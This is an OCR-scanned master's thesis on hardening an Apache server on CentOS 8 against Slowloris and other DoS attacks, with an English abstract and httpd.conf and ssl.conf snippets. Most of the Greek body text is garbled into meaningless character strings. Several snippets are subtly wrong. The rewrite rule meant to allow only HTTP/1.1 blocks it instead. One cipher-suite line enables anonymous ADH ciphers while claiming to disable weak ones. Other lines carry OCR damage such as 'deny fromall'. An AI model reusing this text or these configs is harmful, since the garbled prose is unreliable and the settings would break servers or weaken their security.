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Hepidnyn

2TG HEPEC HOG O OO TIG TTO0 GLYVEG EMDECELS TOV TPAYLOTOTOOVVTOL OO TOVG
hackers givon n enibeon Apvmon Iopoyne Ymnpeowwv (Denial of Service Attack -
DoS) 6mov doyetevovtol tepdoTtieg toootnteg traffic oto diktvo 6TdY0 KON AWTO ExEL
OG OMOTEAECHO Ol SErVers tov otoyov vo. kabiotatar pn Aswtovpywkoi péca oe
eldyoto ypovikod ddotnua. H emifeon Slowloris givar éva gidog enibeong DoS n
onoia emTpémel o€ o oA pyavn va piget va web server otdyo pe to eldyioto
bandwidth kot va onpovpyncelr mapevépyeleg oe vanpeciec kot mopteg. To
oNUOVTIKOTEPO OU®S etvor 0Tl dev eivan pia t€town emifeon aviyvevoiun ond IDS
ovotiuota encwdn ta HTTP headers ota requests mov otéAvovtal otov Server dev
elvor OAOKANPOUEV Kol 0VTO €YEL OC OMOTEAEGHLO. AVTA TO. requUests va mapapévouv
avorytd yepilovtag €161 ToV HEYIGTO aplfpd TanTdYpOovmV connections Tov Umopei va
dgytel O server Kol TEAIKQ O server vo opveitor vo mopéyel to emmpochHeta
connections o tovg clients.

Y10 mAaioto o TG TG epyaciag, £xel vAomombel éva bash script to omoio ovopdaleton
centos8-apache-hardening.sh ko éxer og otdyo va eeopudlel 10, amapaitnTa
installations xou configurations ce évav Apache Web Server Centos 8 Agttovpyucod
OLOTALOTOS TPOKEWEVOD Vo emavénoel v ao@dietn. tov Web Server gvavtio og
dupopeg embéoelg cvunepiapfavopévou kot g Slowloris. Ioo cuykekpiéva 6to
Ke@alowo 1 meprypdgovtal ol BEATIOTEG TPOKTIKEC TTOL epopprolel to bash script yuo
™mv enadvénon g aocedielog tov Apache Web Server, 6to kepdloto 2 meptypdpovton
ot DoS emféoeic kabmg ko ot Tpdmol TPooTociog Tov epopuolel To SCript evavtia,
omv Slowloris enifeon kar yevikd otg DOS embécelg, oto kepdroo 3 yiveton
QVOADTIKY TEPLYPOPT TOV TEXVIKOV Tpodtaypae®dv Tov bash script kabmg ko
avolvovtor emmpocheto PETPA EMAVENONG OCQOAEWG EMMTESOV GUOTHUOTOS OV
epappoler to bash script otov Apache Web Server. Téhog oto xepdrono 4
TPOYLOTOTOOVVTOL OOKIES acpOrelag Ko opBottog twv Security modules mov
eykabiotd 1o bash script kabmg emiong mpaypatoroovvtor Slowloris embéoelg oe
évav Apache Web Server mpiv kor petd v egapupoyn tov bash script ko

mapatiBevion To avTicTolyo amoTELEGLATAL.



Abstract

Nowadays one of the most frequent attacks carried out by hackers is the Denial of
Service Attack — DoS where huge amounts of traffic are channeled in the target
network and this results target servers become non-functional within a short period of
time. Slowloris attack is a type of DoS attack that allows a simple machine to drop a
target web server with minimal bandwidth and create side effects on services and
doors. But the most important thing is that such an attack is not detectable by IDS
systems because the HTTP headers in the requests sent to the server are not complete
and as a result, these requests remain open, thus filling the maximum number of
simultaneous connections that the server can accept and ultimately the server refuses
to provide additional connections to clients.

As part of this thesis, a bash script has been implemented which is called centos8-
apache-hardening.sh and its main task is to implement the necessary installations and
configurations on a Centos 8 OS Apache Web Server in order to increase the security
of the Web Server against various attacks including Slowloris. More specific, in
chapter 1 are described the best practices of bash script for enhancing the security of
Apache Web Server, in chapter 2 are described DoS attacks as well as the protection
methods that the script applies against the Slowloris and DoS attacks, in chapter 3 is
provided a detailed description of the technical specifications of the bash script as
well as are described additional measures to increase system level security in the
Apache Web Server implemented by the bash script. Finally in chapter 4 safety and
accuracy tests are performed on security modules that installed by the bash script as
well as Slowloris attacks on an Apache Web Server are performed before and after the

bash script is applied, and the corresponding results are presented.
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Evyaprotieg

Mo mv oloxkAnpwon w¢ mapovcag Audlopotikng Epyociag, 6o nmbela va
guyaploTom €k Pdabovg kopdiog tov kabnynm k. EZtéeovo I'kpitloin vy v
EUTIGTOGVVI] TOL TTPOG GE EUEVO YL TO GLYKEKPIUEVO BEpa TG epyaciog, KaBdg Kot
YU TG TOAD YPNCIUEG YVOCES TOL WOV UETEdOWMOoE KB’ OAN T ddpkeld TOV
HETOMTUYLOKAOV LLOV CTTOVIMV.

Eniong moAAég evyapiotieg opeihm otov k. Taypatdapyn (EID) 'edpyo Bdoo and 1o
I'evikd Enuedeio Ztpatot/Aevbvvon [Tinpogopikrg yia tnv dpiot cuvepyocio Ko
kaBodnynon tov, TI¢ mMOAVTYWES SLUPOVAES TOL OV NTAV KAOOPICTIKES YL TNV

OlEKTEPAi®OT OVTNG NG EPYACTag.
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1 Béltiotec mpaktikéc emavénonc acepoieiog Web Server

O Apache web server givon évag amd tovg mowo dNUOEIAYG Web Servers mov eivon
dwbéoor toco yio Windows 6co katr Linux/Unix. Ziuepa ypnoponoteitol yo vo
kavel hosting mepintov 10 40% TOV 16T06EAMbOV KOODG €ivan €vag omd TOLG OO
acporeic Web servers. [2]. Xe avtifeon pue GAAeg cLOoKEVEC diKTOOVL OV KAHOVTOIL
micw ond emineda acpdrelag kat firewalls, o Apache web server givot oyedloopévog
Vo KAOETOL GTNV GKPT TOL OIKTVOV ILE GKOTO TOV OULLOIPAG O TANPOPOPIDV GTOV EEW®
koopo. I' awtd dev amoterel EkmAnén Ot Evag Web server givor cuyvé o TpOTO
npdrypo wov ot hackers kottéve dtav 0EAovv vo emitebobv og Evav o10)0. Xmpic Oumg
TG KoTdAAnieg mpoeurdtelg kor configurations, ovtéc o1 GLOKEVEG UTOPOLV Vo
dMDGOVV GTOVG EMTIPEUEVOVG TO TATNUO TOV Y¥PEALOVTOL Y10 VO TPOLYLOTO TTOU|GOVY
™mv enibeon tovg. [1]

Mo oOvtoun potid ot molo ovyvég Web-based kvBepvoemifécelc odnyovv oe web
servers ot omoiot popalovv apketég mAnpogopieg ™G cvokevnc, SQL injection,
emféoeg TOmov dloyeipiong Session akdpo Kol 6TV Un €YKOTACTAGT) TEAELTOI®V
patches otov server. Aniadmn, av apnoovue tov Web server evog opyovicpod pe to
default configuration tov, tdte cOvtopo Oa Ppodpe ONUAVTIKEG TANPOPOPIES
extebeléveg oto Internet M akdpo xepdtepa pmopel KAmolog emTifépevog vo
anoktnoel Tpocfaon katevbeiav otov Web server.

Emopévog évag opyaviopog, autd mov umopel vor KAVEL TPOKEUEVOL VO PEPEL TOVG
hackers ce dOokoln Béom 1 va Tovg dvokoAdyel apketd amd 10 vo. Bpovv Eva
acOevéotepo o100 givan vo awéneovv v acedreta (harden) tov web server. [1]
[opakdro meprypdgetal po. GVAAOYN amd PEATIoTEG TTpokTikEG kou configurations

nov £yovv okond o Web server hardening.

1.1 Amevepyomoinon Ymoypapnc
‘Evog cuyvoc 1pdmog pe tov omoio ot emtifipuevol EeKvodv vo epguvoly évay Web
server yio mbovn enibeon eivatl otéAvovTog £vo amopaKpLGEVO request to omoio £xet
®G GKOTO VO PEPEL TG M TOAVTIUN TANPOPOpia TOL GEPPipeTatl and TNV VIOYPAPT TOV
server. Avto eivol yvootd wg server footer ko to default configuration exbéter v
éxdoom tov Apache web server kofmg emiong Kot 10 AOYIOUIKO OT®G PAIVETOL GTNV

TOPOKAT® EKOVAL



¥ Response Headers view source
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 4897
Content-Type: text/html; charset=UTF-8
Date: Sun, 18 Feb 2818 @7:@1:37 GMT
ETag: "1321-5858ale728288"
Keep-Alive; timeout=5, max=85
Last-Modified: Thu, 16 Oct 2814 13:28:58 GMT
| Server: Apache/2.4.6 (Cent0S) |

Ewkova 1. 'Ekdoon Apache Web Server

ATEVEPYOTOIDVTOS TV VIOYPOAPT TOV Server gumodilovpe upon request | petd amd
amdvtnomn 404 ceAidog CEAALOTOS TNV EUPAVICT) TOV OVOUOTOG TOL SErver, g
ékdoomng Tov kot GAdeg Mnpoopieg Omwg pnvopate Adbove, minpopopicg modules
Ko TANPOPopieg KOTOAOY®V.

INo va Tpoctatéyovpe tov Apache web server yia moapaderypa amd amoppvduion,
nnyaivoope oto configuration file tov 1o omoio Ppioketon oto path:

fetc/httpd/conf/httpd.conf kaw mpocOétovpie 0 mapakdato [1]:

ServerSignature Off

¥t ovvéyeln Kavovue emovekkivinon tov Apache server pe ypnon g mop okoTm

EVTOANG:

sudo apachectl restart

1.2 Opiopog tov ServerTokens og mapaywyikd mode
Opow. pe v vmoypapny tov Apache Server, ta ServerTokens eléyyovv v
TANPOPOpPio. TOL GTEAVETOL To® MG amdvinoerm tov Server oto medio header. To
ServerTokens directive npénet va. opiletar oe production mode (dniadn Prod) ya va.
divovv v odnyia otov Apache server va emotpéeel puoévo “Apache” ctovg headers
™G amndvtnong tov. ['a va yiver avtd Ba npénel va mpootedei to mapoakdtom directive

oto Apache configuration file to omoio PBpicketat oto path: /etc/httpd/conf/httpd.conf

[2]:

ServerTokens Prod

¥ ovvéyela Kavovue emavekkivinon tov Apache server pe ypnon g mopoKaTo

EVIOAG:

sudo apachectl restart




Amo ™MV mopakato ekovo PAETovE OTL o1 TANPOPOpiEg TG ékdoong tov Apache

Sserver ko1 tov Aerrovpykod e&apaviotTnkoy Kot epgavitetor povo n AéEn Apache.

v Response Headers view source
Accept-Ranges: bytes
Connection: Keep-Alive
Content-Length: 4897
Content-Type: text/html; charset=UTF-8
Date: Sun, 18 Feb 2018 @7:@53:51 GMT
ETag: "1321-5858ale728288"
Keep-Alive: timeout=5, max=1@@
Last-Modified: Thu, 16 Oct 2014 13:208:38 GMT
ISenrer; Apache

Eikéva 2. Arékpoyn minpogoprdv Apache Web Server kot Agrtovpyucod cvotiipotog

1.3 Amevepyomoinon tng KatdoTaonS Tov Server

Orav eivon evepyomomuévo o directive <Location /server-status> tote Topovoialetor
TANPOPOPin Yo TNV ATdS00T TOV Server émmc to Server uptime, o oOPTOg TOL SErver,
tpéyovia. HTTP requests kau ot client IP digvbdvoeic. 'Evag emmbépevog umopei vo
YPNOWOTOGEL GVT TNV TANPOPOPic Yoo Vo TpayUaTonolnost enieon otov Web
Server.

o vo amevepyomomGovpE TV KOTACTAGN TOL Server pmopovue oto Apache
configuration file to omoio Ppioketar oto path: /etc/httpd/conf/httpd.conf va

oyoAloovue avth TV 0dnyio oc e&ng [2]:

#<Location /server-status>

# SetHandler server-status

# Order deny,allow

# Deny from all

# Allow from .your_domain.com

#</Location>

¥t ovvéyela Kavovue emavekkivinon tov Apache server pe ypnon g mopoaKkaTw

EVIOANG:

sudo apachectl restart




1.4 TIp6écPacn ota apyeio KaToy pagng tov Server

And mpoemhoyn, Apache xor Windows servers dev eivar pvOuicpévor 6to vo
Aappavoov  mAnpoeopieg ovVoEoNS KoBMG Ol ¥PNoTES ALBEVTIKOTOIOLVTE KOt
Tpaypatomoovy GAAa requests. tov Apache server, avtd ta opyeio kataypopng
UTOpovV VO, TPOCOUPUOCTOVV OTIS OVAYKEC €VOG OPYOVIGUOD Kol UTopovV v
yphoovior e Eeyxwplotd apyxelo M vo GTEAVOVIOL GE €EMTEPIKY| EQOPULOYN Yol
TEPETAP® aviAvon. Mmopovv emiong va optotodv cuvOnKeg mov va &apovvTal 1 va
TEPILOUPAVOVTOL GLYKEKPLEVO KPLTHP10 TOL TTapovstdlovtal. Enedr n minpogpopia
oL KoToyp AeeTon Efvar gvpeia, 1 mAnpoopia kAWl urnopel va meptioppdavetl mv IP
devbvvon tov ortovvtog, to session ID, to host xou ta bytes mov AqEOnkav M
otoAOnKav peta&d artovvtog kou apache web server. [1]

INo va gvepyomomBei to logging Oa mpéner to module mod_log_config va yivet
include péoa oto Apache configuration file to omoio Ppioketon oto path:
letc/httpd/conf/httpd.conf. Avtdé to module mapéyer ta directives TransferLog,
LogFormat ka1 CustomLog ta omoio ypNGYLOTO100VTAL Y10 VO, SNUOVPYNOOVUE EVal
log file pe Tpocappocpévn popen 6mov Hropel va SNIIOVPYELTAL 0L VO LOPPOTTOLEITOL
10 log oe éva PAua. Onwg oaivetar mapakdrtw, to LogFormat directive
ypnoponoteitat yio vo, opiCel po Tposappoopévn popen logging émov o referrer ko
0 browser ce kd@be request kotaypdgovtor pali ue tig mposmeyuévee logging
TopapETPovs. Xt ovvéyeta to CustomlLog directive ypnoyonoteitor mg odnyia cTov

Apache va ypnoponotei vt tnv logging popgomroinon [2].

LogFormat "%h %I %u %t \"%n" %>s %b \"%{Referer}i\" \"%{User-Agent}i\""
detailed

CustomLog logs/access.log detailed

¥t ovvéyela Kavovue emavekkivinon tov Apache server pe ypnon g mop okaTm

EVTIOANG:

sudo apachectl restart

1.5 Amevepyomoinon tov HTTP iyvoug kot mapakorovdnon tov ctnuatmv
[Mapdro mov 10 va enttpénels otov Web server va amavtd oe HTTP Trace xon Track
requests pmopel va ypnoywomomBovv Yy VOUWO OKOTO ONMG OTOV EVIOMIGUO

oQOANATOV GUVOEST €VTOC TOV OIKTOOL €VOC OPYOVIGLOD, OWTA TO TPOTOKOAAN

4




umopei va B€covv og Kivouvo v acpdiewo. Tov Web server. M and T oo cuyvég
embBéoeg eivon m Cross-Site Tracing emibeom, 6mov ot emTOéUEVOL UTOPOVV VO
ypnowonomcovy kot va waparotoovy g TRACE kot TRACK pebddovg yio va
dwkoyouvv kavovikéc traffic cuvdéoelg, va khéyouv session cookies kot mbavadg
omolodNmote dedopéva o€ d1EAELON.

Me to default configuration pmopobvue va kévoovpe éva curl oy IP tov Apache
server oty mopta mov Kavet listen (m.y 80) kot va kévovue Eva Trace request 6mwmg
eaiveTon mapakato [4]:

[vagrant@centos8vm ~1$ curl -v -X TRACE |
* Rebuilt URL to: | ;
*  Trying ::1...
* TCP_NODELAY set

innected to
TRAC
Host:
User-Age
Accept:

HTTP/1.1 2080 OK

Date: Sun, 21 Mar 2021 22:43:05 GMT
Server: Apache

Transfer-Encoding: chunked
Content-Type: message/http

TRACE [/ HTTP/1.1

Host: localhost
User-Agent: curl/7.61.1
Accept: */*

¥ Connection #8 to host localhost left intact

Eicova 3. Trace evég request pe ypijon curl
O «ohbtepog TpOmMOG Yoo va  ovTWETOMOTEL 0wTO TO TPOPANU  elvonr  va
anevepyomomBei n uébodog TRACE HTTP Balovtag Tnv Topakdt® EVIOAN LEGH GTO
Apache config file (path: /etc/httpd/conf/httpd.conf) [1]:

TraceEnable Off

¥t ovvéyela Kavovue emavekkivinon tov Apache server pe ypnon g mop okaTm

EVTOANG:

sudo apachectl restart

Av Eava kdvoopue €vo Trace request omv IP tov server kot oty mOPTO TOV KAVEL

listen, Oa mépove O TOP AKATO :




vagrant@centos8vm ~]% v -X TRACE
* Rebuilt URL to: | 1 i
*  Trying ::1...
* TCP_| NDDELAY set

i ::1) port 80 (#8)

User-Agent:
Accept: */*

HTTP/1.1 485 Method | allc =:

. Date: Sun, 21 Mar zDzl 22 44:31 GMT

= Server: Apache

- Al low:

Content-Length: 222

Content-Type: text/html; charset=1s0-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"=
<head= B _
D“ Method | Allowed=/title=

Lowed=/h1=
!
-The requested ‘method TRACE is not allowed for this URL =i p=
</body=</html=> ) ) .
* Cognnectlon #0 to host localhost left intact

Eikova 4. Trace gvog request pe anevepyomommpévo to Trace otov Apache Web Server

1.6 Opioudc opiov pey€Boug oTnHoTog
Amnd poemhoyn, o Apache server dev £xet 0pro oto péyebog oo HTTP request. Avtd
enupénel otovg hackers va otédvouv peyddo aplOud dedopévov. Mmopovue va
nepopicovpe 10 péyebog TV requests ypnowomowwvrog to Apache directive
LimitRequestBody & cuvdvacud pe to Directory tag. Avtod umopei va mpootatéyel
oV Server omd embéoelg tomov dpvnong mapoyng vanpeoiog (Denial of Service -
DOS).

‘Ecto 6t £yovpe 1o Site www.example.com 6mov emtpémovpe uploads, ko 6&lovpe

vo, petwoovpe 1o puéyebog tov upload oto Site pac. Mmopovpe vo Bécovpe v TN
and 0 (omepopioto) péypr 2147483647 (2GB) oto Apache config file (path:
letc/httpd/conf/httpd.conf) Balovtag to mapakdrw [5]:

<Directory /var/www/example.com>
LimitRequestBody 204800
</Directory>

¥ ovvéyela Kavovue emavekkivinon tov Apache server pe ypnon g mopoKaTo

EVIOAG:

sudo apachectl restart



http://www.example.com/

1.7 MéB06ot HTTP autnudtmv

O Apache server cto HTTP 1.1 mpmtokoiro vroompilel tig pebddovg: OPTIONS,
GET, HEAD, POST, CONNECT, PUT, DELETE, xox TRACE. Mepiéc amd antég
pumopel va unv amontovvol Kot pmopel va evéyovv mhavo kivouvo aceirewng. I'evikd
glvon KoAN TPoKTIKNY va xovpe novo evepyéc i pebddovg HEAD, POST ko GET
oTig Web epappoyéc.

INa va 1o kavoope avtd, oto Apache config file (path: /etc/httpd/conf/httpd.conf)
Bpickovpe to section mov Eekwaer pe Directory /var/www/html kot tpocOétovpe Tig

akOAoVOES YpoupéC o€ avTh TV evotnta [5]:

<LimitExcept GET POST HEAD>
deny fromall

</LimitExcept>

¥m ovvéyela Kavovue emavekkivnon tov Apache server pe ypnon g mopoKaTo

EVIOANG:

sudo apachectl restart

1.8 Anpovpyia non-root ypnotdv kat ekkivnon Apache

‘Eva. GAA0 moAD onpavtikd péETpo aoc@dAewng mov eopudletar oyt udévo ce web
servers oAl oty dloeipton Tov AETOLPYIKOL GLGTHUATOG Eivorl 1 dnpiovpyio EvOG
NON-root Loy aplac oL yio Bactkd S1OTKNTIKA Kot Sty eploTikd Kabnkovta. Kdavovtag
10 V1o, £vag opyaviopodg umopei va mpochécel éva emmAiéov layer acpdleiag oty
TEPIMTOON OV £VOG EMTIEUEVOC OMOKTIGEL ToL 6TOLKElDL €VOG NON-T00t ¥pnMoTn GTOV
web server [1].

INa v 10 Kévovpe awtd, 6to Linux Agttovpykd dnpovpyodue Evav vEo XpNoTh Kot

group apache pe tic mopaxdto eviorég [4]:

sudo groupadd apache

sudo useradd —G apache apache

¥ ovvéxelo alddlovpe to ownership otov kotdAoyo mov gival £yKATESTNUEVOS O

Apache server pe ypnon g mapakdT® EVIOANG:

sudo chown -R apache:apache /etc/httpd/




To embpevo  Paua  eivon  oto  Apache  configuration  file  (path:
letc/httpd/conf/httpd.conf) va Bpodue kon va aiidEovpe to User & Group directive
oToV NON-root yprot, Snhadn otov apache:

User apache

Group apache

Télog kGvovpe emavekkivnon tov Apache server pe ypriion g TopoKatm eVIOANG:

sudo apachectl restart

Mo vo BePourwbodpe 6t1 0 Apache server tpéyst wg apache user ektelodue t0
TOPOKAT® grep 6mov PAETOLUE Kol A TNV TAPOKAT® £KOVA OTL Evo Process tpéyet
®¢ root kon ta vwérouta wg apache. O Adyog mov T0 TPMTO Process tpéyst w¢ root
eivon eme1dn o Apache axovel oty mopta 80 kot Y1’ aw 1o TpEmeL v onkwOel ¢ root.
[vagrant@centos8vm ~1$ ps -ef |grep http

root 1 a2 4

apache 2

2
apache 2
apache 878 0 2
B
2

tpd -D
=auto http

apache 1878
vagrant 1470

1.9 Tlepropiopdg tpdoPaong IP dievBuvong
Av o Apache web server ypnowomnowitor yioo TEPOPIGUEVO GKOTO OTMG TOV
OpOPacO TANPOEOPING E0MTEPIKE o€ Evav Opyavicpo, TNV @Uo&evio piog
OTATIKNG 10TOCEAIDAG 1 EAEYYOVG Yoo okoToOG development, tote pmopei vo pubuotel
vo, emtpénel povo cvykekpéveg IP dievbovoeig 1 dikrvo. [1]
To €bpog TV IP dievhvveemv Yo arodoyn N amodppyr propel va pubuictel oto Site

Directory oto Apache config file (path: /etc/httpd/conf/httpd.conf) oc e&ng:

<Directory /var/www/example.com>
Options None
AllowOverride None
Order deny,allow
Deny from All
Allow from 10.10.10.0/24
</Directory>

¥ ovvéyeln Kavovue emavekkivnon tov Apache server pe ypnon g mopoKaTo

EVIOANG:




sudo apachectl restart

1.10 Atopdpemon g Tiung timeout
Amd mpoemhoyn, n T Tov Apache timeout givon 300 devtepodrenta, O omoio pmopet
vo méoel Obuo o web server g emiBeong Slow Loris ko DoS. T vo to
OVTILETOTIGOVHE T, Umopobue vo. katefdoovpe v T tov timeout ce 60
devtepOrento. Paloviog 1o mopoxkdtm directive oto Apache config file (path:
letc/httpd/conf/httpd.conf) [4].

Timeout 60

¥ ovvéyeln Kavovue emavekkivnon tov Apache server pe ypnon g mop oKoTm

EVTOANG:

sudo apachectl restart

1.11 Amnevepyomoinomn tov HTTP 1.0 tpotokdiiov

Ene1dn 10 npotokorro HTTP 1.0 éxet advvapieg aocedrewng mov oyetilovion Ue 10
session hijacking, umopodue vo TO OTEVEPYOMOUGOVUE YPNGULOTOIDOVIOS TO
mod_rewrite module étor dote va £yovpe ™V uEyloT) SVVOTH AGQPOAE TOL
UTOPOVUE.

INa va to kévovue avtd apyika Beformvopacte 6Tt Exovue Poptdoel o Mod_rewrite
module cto Apache config file (path: /etc/httpd/conf/httpd.conf) kot ov cuvéyein
gvepyomolovpe o RewriteEngine directive kot falovue ko o Rewrite condition yuo

vo, gmtpénetl povo o HTTP 1.1 mpmtoxoAlo 0nmg eaivetor Top akdto [4]:

RewriteEngine On
RewriteCond %{THE_REQUEST} HTTP/1.1$
RewriteRule .* - [F]

1.12 SSL

To va &yeig SSL eivar éva emmpdcbeto layer acpdieing 1o omoio pmopovue va
Balovue péoa omyv Web spappoyn pac. Iap’ 6Aa avtd to mpoemleypuévo SSL
configuration odnyei oe opiouévec evmdbeleg ko mpémer va oAAdGEovue avtd To

configurations. [4]




1.12.1 SSL Key
H mopofioon tov SSL kAed100 givar dOV6KOAN, dALE Oyt amiBavn. Elvon amidg 0éua
VRTOAOYIOTIKNG  dOvaung kot ypdvov. T mapdoerypa ov  ypnolplomoleis Evav
VTOAOYIGT TG €moyns tov 2009 yia mepimov 73 nuépec, Umopeis va kavelg reverse
engineer éva 512-bit key.
Enopévog, 660 peyoldtepo PNKog KAEW100 YPNOLOTOLELS, TOGO MO TEPIMAOKO
yiveton 10 vo. omdoel to SSL key. H mieoyneia tov peyardtepov Web etopiov

ypnoomowovy 2048 bit key 6nwg mopoveialovion mopakdtom [4]:

e Outlook.com
e Microsoft.com
e Skype.com

e Apple.com

e Yahoo.com

e Bing.com

e Hotmail.com

e Twitter.com

AoV PePaimBodue 6TL Egovue Kavel eykatdotacn to Apache ssI module to omoio

napéyel SSL kpumtoypdenon He ypnomn g ToPoKAT® EVIOANG:

sudo yum install mod_ssl

Ko apov @tidéovpue ta KatdAAnAa ssldirectories yio to kiedid [6]:

sudo mkdir /etc/ssl/private

sudo chmod 700 /etc/ssl/private

21 ovvEyeEln UTopovpE va yxpnoyonotoovpe to OpenSSL yw va kévoope generate

CSR pe 2048 bits ypno1onotdvtag Ty Topakd e EVIOAN:

sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout
letc/ssl/private/apache-selfsigned.key -out /etc/ssl/certs/apache-selfsigned.csr

Omnov,

e openssl: Eivat éva command line tool yia dnpiovpyia kot dioxeipion OpenSSL
TIGTOTOM TIKMV, KAEWOV KoL COAA®V opyeiwV

e req —x509: Avtd xobBopiler o011 Béhovpe va ypnowyomoumcovpe X.509
dwyeipon outipatog vwoypaeng mietoromrikov (CSR). To “X.509” eivat éva
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TPOTLTO LTOSOUTG dNUOGI0L KAEW10V 6oV ™povy to SSL kon 1o TLS yia
Ol eip1om KAEWD 1DV KO TG TOTO U TIKMV.

e -nodes: Avto Aéel oto OpenSSL va mapoareiyel v TAOYT Y10, TPOCTAGIN
TOV TMGTOTOMTIKOD Hog amd pe epaon mpocsPacng (passphrase). O@éiovpe o
Apache vo umopei va doffdoel avtd to apyeio yopic Tapéupacn ypnot Kord
™mv exkiviion tov Web server. Mia passphrase 6o to gunodicet owtd yroti o
TPEMEL VAL TNV TANKTPOLOYOVUE peTd amd kdbe restart tov server.

e -days 365: Avt n emoyn 0éter 10 €Opog ypdvVoL KOTA TO OMOi0 TO
motonomTikd Oa eivar Eykvpo. Edd 1o Oétovpe va givon valid yia 1 ypovo.

e -newkey rsa:2048: Avtd kabopilel 6Tt gpeic OEAOVUE VoL SNUIOVPYAGOVUE EVal
KOVOUPLO  TMICTOTMOINTIKO Kol €va  Kowvovplo KAEWl towtdypova. Aev
onuovpynoape €vo KAEWL 10 omoio ypelaleTol Yy TNV VLTOYPOPN TOL
TIGTOTOMTIKOD GE TPONyoOUEVO Prpa, 0AAL TPEMEL VO TO ONUIOVPYNCOLLE
podi pe to motoromtikd. To tunua rsa:2048 Aéet va dnpovpynoelg éva RSA
KAed1 10 omoio va £xetl puikog 2048 bits.

e -Kkeyout: Avtd Aéet oto OpenSSL mov va tomofeTNoEL TO 1BIWTIKO KAEWDL TOV
dnuovpynonke.

e -out: Avtd Aéel oto OpenSSL mov va tomofetcel 10 MGTOMOMTIKO TTOL

onuovpynonke.

MOAMG eKTEAEGOLUE TO TOPOTAVED request, Bo mPEmeEL 6T CUVEKEWL VO EIGAYOVUE
TAnpoopiec yioo o Web site pac. T'a mopdderypa Oa tpénel va giodyovpe tig CSR

TANPOPOPiEC OTMS PaiveTol map akdto [6]:

Country Name (2 letter code) [XX]:GR

State or Province Name (full name) []:Example

Locality Name (eg, city) [Default City]:Example

Organization Name (eg, company) [Default Company Ltd]:Example Inc
Organizational Unit Name (eg, section) []:Example Dept

Common Name (eg, your name or your server's hostname) []:example.com
Email Address []:test@example.com

To mopanave Bo dnuiovpynost to dvo mopandve oapyein oto path: /etc/ssl. To CSR
B mpémel vo t0 oteilovpe g o apyf] €KS00NG MICTOTOMTIKMOV Yo, VO LOG TO

vroypawel. MOAG AdPovpe T0 voyeypoppévo apyeio moTomomTikol, UTOPOVUE VO
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t0 Pdlovue oto  Apache ssl  configuration  file:  ssl.conf  (path:

letc/httpd/conf.d/ssl.conf) 6nw¢ gaiveton mapak o :

#IIiotomoinTikd voyeypapéEVO amd TV apyn
SSLCertificateFile letc/ssl/certs/apache-selfsigned.crt
#Apyeio pe 10 KAEWT TOV dNOVPYNONKE TOPATAV®D

SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key

¥t ovvéxela KGvovpe emavekkivinon tov Apache server pe ypfion g mop okdtm

evtog kat dokudlovpe va yrvmoovue to URL tov Apache server ue https:

sudo apachectl restart

1.12.2 SSL Cipher
H SSL «kpuvrtoypagnon (SSL Cipher) gsivan évag alyopiBpog kpvmtoypdenong to
omoio ypnoiponoteital cav KAWL peta&y dvo vmoAoywtdv péow tov Internet. H
KPLTTTOYPAPNON OESOUEVOV €ivor ol d1001Kacior KOTd TNV 0moio HETATPETOVUE £Vl
amAd KEILEVO G€ PHUGTIKOVS KMIKOTOMUEVOVG KMIKOVG.
H xpurtoypdenon tov dedopévov mov Oa Aafer yopo Paciletar oto SSL Cipher
configuration tov web server. Emopévag eivor onpovtikd va pvbuicovps to SSL
Cipher va givar 1oyvpoteEpO Ko Oyt EVAA®TO.
o va yiver owto, mnyaivoope oto Apache ssl configuration file: ssl.conf (path:
letc/httpd/conf.d/ssl.conf) kon ene€epyaldpocte o SSLCipherSuite directive dote vo

déyetar ahyopibpovg VYNANG KpLITOYPAENoNG OTME PaiveTal o aKATo [4]:

SSLCipherSuite HIGH:!MEDIUM:!laN ULL:!MD5:IRC4

¥t ovvéyela Kdvovue emavekkivnon tov Apache server pe ypnon g mop oaKoTm

EVIOANG:

sudo apachectl restart

1.12.3 Amevepyomoinon advvapuwmv Ciphers
[poxeévov va emttpéyoope povo tovg strong Ciphers, pmopovpe va kKAgicovpe OAEC
T TOptTEG MOV TpooTahovv va Tpayuatortomoovy handshake oe lower cipher suites.
o va yiver avtd anyoivoope oto Apache ssl configuration file: ssl.conf (path:
letc/httpd/conf.d/ssl.conf) kot epapudlovue 10 mopakdtow oto SSLCipherSuite
directive [3]:
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SSLCipherSuite
ALL:'aNULL:ADH:!leNULL:!'LOW:IEXP:RC4+RSA:+HIGH:+MEDIUM

¥ ovvéyela Kavovue emavekkivnon tov Apache server pe ypnon g mop oKaTo

EVIOAG:

sudo apachectl restart

1.12.4 Amevepyomoinon tov SSLV2 xou SSLV3

Mepikoi web servers tpéyovv and mpoemihoyn ta tpmtoékolia SSL 2.0/3.0 xon TLS
1.0/1.1 mapd to yeyovog OtL ivon yepdto e yvootd 0épata aceareiog, Balovrag £tot
ToL OEOOUEVO TTOV UETAPEPOVTOL TAVE OmO OVTEG TIG HeBOO0VS KpLTTOYPAPNOTG OE
pioxo. EEattiag avtov, Ba mpémel va mpwtékorra 6mwg SSLV2 kon SSLV3 kobmg
emiong xou 7o TLS 1.0 kon to TLS 1.1 va amevepyomolovvton kKot 6t B€6m T0VG VL
evepyomoteiton to TLS 1.2.

INa vo yiver avtd mnyaivoope oto Apache ssl configuration file: ssl.conf (path:
fetc/httpd/conf.d/ssl.conf) kou oto TUARa Yo to SSL Protocol Support Balovue Tig
TOPOKATO Ypoppég [1]:

SSLProtocol -SSLv2 -SSLv3 -TLSv1 -TLSv1.1
SSLProtocol +TLSv1.2

¥t ouvvéxela KGvovpe emavekkivinon tov Apache server pe ypfion g map okdtm
EVIOMC Kau pmopovpe va eréyEovue ya mbova cedipare oto SSL configuration pe
xpnon tov online SSL.TLS Certificate tools [4], [7]

sudo apachectl restart

1.13 Amevepyomoinon ELAVIONS KOTAAOYOV
Oupow pe v amevepyomoinom g vIoypoPNG Tov Web server, ot web servers emiong
oo TPOEMAOYN ELPAVICOVV TO TEPIEYOUEVO TOV EYYPAP®V KO TOV apYEi®wV GTOV root
Katdhoyo otav Asimer to index.html apyeio. Avtd onuoaiver 6Tt évog emtiOépevog
umopei vor 61 OAa ToL apyEio Kal TOVG VITO-PaKEAOVE oTov browser tov.
o va omevepyomomBei ovt) 1 AertovpykdTnro mnyaivoope oto  Apache
configuration file (path: /etc/httpd/conf/httpd.conf) cto Options directory kon Balovpe

mv T “None”n “~Indexes” 6mwg eoivetar Tapakdto [1]:
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<Directory /var/www/example.com>
Options None

Order allow,deny

Allow fromall

</Directory>

